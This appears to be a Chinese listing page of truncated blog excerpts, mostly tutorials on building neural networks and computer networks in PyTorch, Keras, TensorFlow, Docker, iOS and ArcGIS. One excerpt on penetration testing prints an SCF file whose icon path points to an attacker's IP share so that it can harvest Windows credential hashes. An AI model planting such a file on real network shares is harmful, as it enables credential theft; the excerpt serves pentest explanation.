Tensor Tensor是PyTorch中的重要数据结构,可认为是一个高维数组,Tensor与numpy的ndarrays类似,但Tensor可以使用GPU加速 import torch as t#import A as B,给予A库一个B的别称,帮助记忆 #构建5*3矩阵,只是分配了空间,未初始化 x=t.Tensor(5,3) print(x) print(x.size())#查看x的形状 print(x.size()[0],x.size(1))#查看列的个数,两种写法等价 print(t…

Docker 构建网络服务后本机不能访问 起因 使用tornado构建了一个服务,测试都没有问题 使用docker构建镜像,使用docker run image_name启动服务 使用浏览器访问 127.0.0.1:xxxx 失败,无法连接 排错 发现访问127的网址肯定是不行的,这简直就是秀智商,你访问本机怎么可能转发到容器中呢-- 想起来docker inspect container_id这个命令,查看了一下容器的IP,拿到IP后用同样的方式访问,发现还是无法连接,这就尴尬了 然后尝试pi…

L0 pytorch 构建简单网络 本文是L0, 目的是把pytorch构建感知器的程序,仔细剖析理解. import torch from torch import nn torch.__version__ '1.3.0' STEP 1 手工定义全连接层Linear #torch.nn是专门为深度学习设计的模块.torch.nn的核心数据结构是Module #它是一个抽象的概念,#既可以表示神经网络中的某个层(layer), #也可以表示一个包含很多层的神经网络 #class Linear(n…

  收集哈希 SCF(Shell命令文件)文件可用于执行一组有限的操作,例如显示Windows桌面或打开Windows资源管理器,这并不是什么新鲜事.然而,一个SCF文件可以用来访问一个特定的UNC路径,允许渗透测试人员构建攻击.下面的代码可以被放置在一个文本文件,然后需要被植入到网络共享. 代码: [Shell] Command=2 IconFile=\\攻击者的IP\share\pentestlab.ico [Taskbar] Command=ToggleDesktop 目标机IP:192.…

全文参考 < 基于 python 的深度学习实战> import numpy as np from keras.datasets import mnist from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten from keras.layers.convolutional import Conv2D, MaxPooling2D (x_train, y_train), (x_tes…

这篇文章更多的是对于混乱的中文资源的梳理,并补充了一些没有提到的重要参数,希望大家不会踩坑. 1. 简介 1.1 背景 WGCNA(weighted gene co-expression network analysis,权重基因共表达网络分析)是一种分析多个样本基因表达模式的分析方法,可将表达模式相似的基因进行聚类,并分析模块与特定性状或表型之间的关联关系,因此在基因组研究中被广泛应用. 相比于只关注差异表达的基因,WGCNA利用数千或近万个变化最大的基因或全部基因的信息识别感兴趣的基因集,并…

简介 在上一篇博客:数据挖掘入门系列教程(十一点五)之CNN网络介绍中,介绍了CNN的工作原理和工作流程,在这一篇博客,将具体的使用代码来说明如何使用keras构建一个CNN网络来对CIFAR-10数据集进行训练. 如果对keras不是很熟悉的话,可以去看一看官方文档.或者看一看我前面的博客:数据挖掘入门系列教程(十一)之keras入门使用以及构建DNN网络识别MNIST,在数据挖掘入门系列教程(十一)这篇博客中使用了keras构建一个DNN网络,并对keras的做了一个入门使用介绍. CIFA…

PyTorch全连接ReLU网络 1．PyTorch的核心是两个主要特征: 一个n维张量,类似于numpy,但可以在GPU上运行 搭建和训练神经网络时的自动微分/求导机制 本文将使用全连接的ReLU网络作为运行示例.该网络将有一个单一的隐藏层,并将使用梯度下降训练,通过最小化网络输出和真正结果的欧几里得距离,来拟合随机生成的数据. 2.张量 2.1 热身: Numpy 在介绍PyTorch之前,将首先使用numpy实现网络. Numpy提供了一个n维数组对象,以及许多用于操作这些数组的函数.Nu…

本节主要介绍在TensorFlow中实现LSTM以及GRU网络. 一 LSTM网络 Long Short Term 网络—— 一般就叫做 LSTM ——是一种 RNN 特殊的类型,可以学习长期依赖信息.LSTM 由 Hochreiter & Schmidhuber (1997) 提出,并在近期被 Alex Graves 进行了改良和推广.在很多问题,LSTM 都取得相当巨大的成功,并得到了广泛的使用. LSTM 通过刻意的设计来避免长期依赖问题.记住长期的信息在实践中是 LSTM 的默认行为,而…

下面是如何自己构建一个层,分为包含自动反向求导和手动反向求导两种方式,后面会分别构建网络,对比一下结果对不对. ---------------------------------------------------------- 关于Pytorch中的结构层级关系. 最为底层的是torch.relu().torch.tanh().torch.ge()这些函数,这些函数个人猜测就是直接用Cuda写成的,并且封装成了python接口给python上层调用. 部分函数被torch.nn.functio…

作为一个小白中的小白,多折腾总是有好处的,看了入门书和往上一些教程,很多TF的教程都是从MNIST数据集入手教小白入TF的大门,都是直接import MNIST,然后直接构建网络,定义loss和optimizer,设置超参数,之后就直接sess.run()了,虽然操作流程看上去很简单,但如果直接给自己一堆图片,如何让tensorflow读取,如何喂入网络进行训练,这些都不清楚,所以作为小白,先从最简单的CNN——VGGnet入手吧,在网上随便下载了个数据集——GTSRB(因为这个数据集最小,下载…

Batch Normalization: 使用tf.layers高级函数来构建带有Batch Normalization的神经网络 觉得有用的话,欢迎一起讨论相互学习~Follow Me 参考文献 吴恩达deeplearningai课程 课程笔记 Udacity课程 在使用tf.layers高级函数来构建神经网络中我们使用了tf.layers包构建了一个不包含有Batch Normalization结构的卷积神经网络模型作为本节模型的对比 本节中将使用tf.layers包实现包含有Batch N…

1.构建一个简单的网络层 from __future__ import absolute_import, division, print_function import tensorflow as tf tf.keras.backend.clear_session() import tensorflow.keras as keras import tensorflow.keras.layers as layers # 定义网络层就是:设置网络权重和输出到输入的计算过程 class MyLayer…

本节翻译自:https://blog.paperspace.com/how-to-implement-a-yolo-v3-object-detector-from-scratch-in-pytorch-part-2/ 必备条件: 此教程part1-YOLO的工作原理 PyTorch的基本工作知识,包括如何使用 nn.Module, nn.Sequential and torch.nn.parameter 等类创建自定义网络结构 下面我将假设你有了一定的PyTorch基础.如果您是一个入门者,我建…

SuperMap iClient 7C是空间信息和服务的可视化交互开发平台,是SuperMap服务器系列产品的统一客户端.产品基于统一的架构体系,面向Web端和移动端提供了多种类型的SDK开发包,帮助用户快速构建网络富客户端和轻量级移动端GIS应用. 谁需要SuperMap iClient 7C l   网络富客户端GIS应用的开发人员 l   轻量级移动端GIS应用的开发人员 为什么选择SuperMap iClient 7C l   统一的产品架构,针对Web端和移动端的特点,提供了富客户端和…

学习 Neutron 系列文章: (1)Neutron 所实现的虚拟化网络 (2)Neutron OpenvSwitch + VLAN 虚拟网络 (3)Neutron OpenvSwitch + GRE/VxLAN 虚拟网络 (4)Neutron OVS OpenFlow 流表 和 L2 Population (5)Neutron DHCP Agent (6)Neutron L3 Agent (7)Neutron LBaas (8)Neutron Security Group (9)Neutro…

按照电站发电(从源点到电站),消费者消费(从消费者到汇点)的想法构建网络,以下是EK解法 //网络流EK算法 //Time:922Ms memory:224K #include<iostream> #include<cstring> #include<cstdio> #include<algorithm> #include<queue> using namespace std; #define MAX 105 #define INF 0x3f3f…

技术交流新QQ群:414971585 关于网络请求的重要性我想不用多说了吧.对于移动客户端来说,网络的重要性不言而喻.常见的网络请求有同步GET, 同步POST, 异步GET, 异步POST.今天来看一下四种网络请求的实现方式. 一.同步GET 1 2 3 4 5 6 7 8 9 10 11 12 // 1.将网址初始化成一个OC字符串对象 NSString *urlStr = [NSString stringWithFormat:@"%@?query=%@®ion=%@&output=…

你造什么是网络功能虚拟化(NFV)吗? NFV将网络功能整合到行业标准的服务器.交换机和存储硬件上,提供了优化的虚拟化数据平面,NFV通过服务器上运行的软件让管理员取代传统物理网络设备,并降低成本.能耗和复杂性. 作者:来源:SDNLAB|2016-02-15 09:51 收藏 分享 当涉及到网络设备,我们发现传统的专有网络设备越来越多样化,这使得运营商和数据中心运营商们升级服务也越来越困难.网络功能虚拟化(NFV)是源于ETSI行业规范工作组通过虚拟网络功能取代专用硬件来简化操作的倡议. NF…

iOS开发中的网络请求   今天来说说关于iOS开发过程中的网络请求. 关于网络请求的重要性我想不用多说了吧.对于移动客户端来说,网络的重要性不言而喻.常见的网络请求有同步GET, 同步POST, 异步GET, 异步POST.今天来看一下四种网络请求的实现方式. 一.同步GET 1 2 3 4 5 6 7 8 9 10 11 12 // 1.将网址初始化成一个OC字符串对象 NSString *urlStr = [NSString stringWithFormat:@"%@?query=%@®i…

四 ArcEngine实现创建网络数据集 ArcEngine创建网络数据集的过程,与ArcMap设置的过程类似,主要通过六个步骤即可以实现. 1 定义网络数据集对象,并设置基本属性,包括网络数据集名称,空间参考,空间范围等内容. 关键代码如下: /// <summary> /// 创建网络数据集对象 /// </summary> /// <param name="featureDataset">包含网络数据集的空间要素集</param>…

链接:开放网络没那么简单 本文是云杉网络工程师张攀对当前开源网络技术现状的一些思考和探索. 开放网元.释放数据的价值 从2012年开始至今,网络行业明显是O字辈的天下.所有我接触过了解过的组织和项目,都鲜有不含"Open"这个单词的. ONF/OPNFV/ONOS/ODL/OVS/OpenStack/OPEN-O--名单还可以变得更长.但对在网络行业语境中"开放"这个词的理解,以我的观察,业界也是逐渐演进的.最开始的理解,是接口的开放和统一,将铁皮盒子打开,统一控制…

继续接着上一篇写:使用C#实现DHT磁力搜索的BT种子后端管理程序+数据库设计(开源)[搜片神器] 昨天由于开源的时候没有注意运行环境,直接没有考虑下载BT种子文件时生成子文件夹,可能导致有的朋友运行没有结果,在此表示对支持开源的朋友道谦.另外也对源程序增加了一些说明,已经提交. 谢谢园子朋友的支持,已经找到个VPS进行测试,国外的服务器: http://www.sosobta.com  大家可以给提点意见... 开源地址:https://github.com/h31h31/H31DHTMgr…

说明:本文以Azure国际版为例,中国版在网络位置会存在一定差异. 1. 场景 虚拟网络为我们提供了在Windows Azure云计算环境上构建网络定义的能力,通过虚拟网络,我们可以方便地将Windows Azure中的虚拟机等资源按照不同的角色.用户进行网络规划.同时也可以和我们本地IT沟建“混和云”的环境,假设我们在Azure云上建立了一个客户会员积分的Web应用,但客户信息是保存在公司内网的私有服务器上,或是在其他的云服务平台中.因此需要通过虚拟网络来实现连接各服务,同时要能保证连接的安全…

[题目链接] http://www.lydsy.com/JudgeOnline/problem.php?id=3931 [题意] 只能通过1-n的最短路,求网络最大流 [思路] 分别以1,n为起点做最短路,则可以判断一条边是否在最短路上. 以最短路构建网络,并且将一个点拆成两个中间连c[i]表示结点容量限制. [代码] #include<set> #include<cmath> #include<queue> #include<vector> #includ…

常见的网络请求有同步GET, 同步POST, 异步GET, 异步POST. GET请求和POST请求的区别: 1. GET请求的接口会包含参数部分,参数会作为网址的一部分,服务器地址与参数之间通过 ? 来间隔.POST请求会将服务器地址与参数分开,请求接口中只有服务器地址,而参数会作为请求的一部分,提交后台服务器. 2. GET请求参数会出现在接口中,不安全.而POST请求相对安全. 3.虽然GET请求和POST请求都可以用来请求和提交数据,但是一般的GET多用于从后台请求数据,POST多用于向…

有哪些适合学生参与的 C++,网络编程方面的开源项目?   Tinyhttpd是一个超轻量型Http Server,使用C语言开发,全部代码只有502行(包括注释),附带一个简单的Client,可以通过阅读这段代码理解一个 Http Server 的本质.下载链接链接:LippiOuYang/Tinyhttpd · GitHub nginx: download高性能web服务器 libevent/libevent · GitHubC语言写的事件驱动框架 ACE:C++面向对象网络编程工具包 Bo…

    前面一节已经介绍了路由器的端口配置,接着我们介绍路由器的路由配置:静态路由.默认路由和浮动路由的配置:动态路由协议的配置,包括RIP.IGRP.EIGRP和OSPF.     (1)路由器的基础深入: 1)静态路由: 静态路由是指由用户或网络管理员手工配置的路由信息. 静态路由适用于:简单的网络环境和支持DDR(Dial-on-Demand Routing)的网络中. 在DDR(按需拨号路由选择)链路中,拨号链路只在需要时才拨通,因此不能为动态路由信息表提供路由信息的变更情况.DDR允许…

前言 似乎除了官方介绍的例子,我还没有在网上见过一篇介绍如何"使用自己的数据"创建"网络数据集"的文章. 有介绍几何网络的,有介绍如何用官方SanFrancisco数据的,也有直接用官方SanFrancisco的网络数据集进行应用的,就是没有告诉我怎么用自己的线数据生成网络数据集并应用的. 我靠网上的文章和官方的例子一点点摸了出来,虽然不是很完整的解说,不过确实能用于最基本的网络分析了. [软件准备] 本人使用ArcGIS for Desktop 10.4下的Arc…

ArcGIS中最基本的三种矢量数据是什么?点线面. 网络中除了路网之外,还会有地物点. 如上图,我们在建立网络数据集的时候,作为实验,当然可以只是公路网.但是在大型的决策任务中,网络数据集就不只是公路网那么简单了. 在城市与城市之间,有高速公路,国道,高铁,普铁,甚至还有水路. 如此复杂的网络模型是如何连通的呢?他们之间的交点又有什么样的连通方式呢?在这里,我仍然卖个关子,在以后的连通性一章,会详细说明.在文末,就会看到点作为网络数据集中十分强大而关键的一员出现,其意义是多连通组的时候,作为媒介…